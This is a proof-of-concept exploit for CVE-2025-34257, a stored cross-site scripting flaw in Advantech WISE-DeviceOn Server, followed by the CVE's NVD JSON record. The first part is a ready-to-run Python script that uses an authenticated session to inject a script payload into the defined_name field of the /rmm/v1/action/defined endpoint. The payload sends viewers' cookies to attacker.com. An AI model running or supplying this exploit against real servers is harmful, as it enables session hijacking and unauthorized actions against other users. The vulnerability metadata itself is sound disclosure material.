CVE-2025-34257

# CVE-2025-34257 PoC - Stored XSS in Advantech WISE-DeviceOn Server # Target: /rmm/v1/action/defined endpoint # Type: Authenticated Stored XSS import requests import json TARGET_URL = "https://<target-ip>/rmm/v1/action/defined" SESSION_COOKIE = "<your-session-cookie>" # Malicious payload for stored XSS xss_payload = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" headers = { "Cookie": f"JSESSIONID={SESSION_COOKIE}", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Create task with malicious defined_name data = { "defined_name": xss_payload, "action_type": "custom_task", "description": "Malicious task for XSS testing" } response = requests.post(TARGET_URL, headers=headers, json=data, verify=False) if response.status_code == 200: print("[+] XSS payload injected successfully!") print("[+] Payload will execute when users view the Overview page") else: print(f"[-] Failed to inject payload. Status: {response.status_code}") print(f"[-] Response: {response.text}")

{"cve": {"id": "CVE-2025-34257", "sourceIdentifier": "[email protected]", "published": "2025-12-05T18:15:55.220", "lastModified": "2025-12-17T17:15:48.980", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech WISE-DeviceOn Server versions prior to 5.4 contain a stored cross-site scripting (XSS) vulnerability in the /rmm/v1/action/defined endpoint. When an authenticated user creates a task, the defined_name value is stored and later rendered in the Overview page without HTML sanitization. An attacker can inject malicious script into defined_name, which is then executed in the browser context of users who view the affected task, potentially enabling session compromise and unauthorized actions as the victim."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:wise-deviceon_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.4", "matchCriteriaId": "BFB1F2C4-C260-473E-A6E1-EE7DFC3EF083"}]}]}], "references": [{"url": "https://advcloudfiles.advantech.com/cms/2ca1b071-fd78-4d7f-8a2a-7b4537a95d19/Security%20Advisory%20PDF%20File/SECURITY-ADVISORY----DeviceOn-20251208-2.pdf", "source": "[email protected]"}, {"url": "https://docs.deviceon.advantech.com/docs/resource/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/advantech-wise-deviceon-server-authenticated-stored-xss-via-action-defined", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}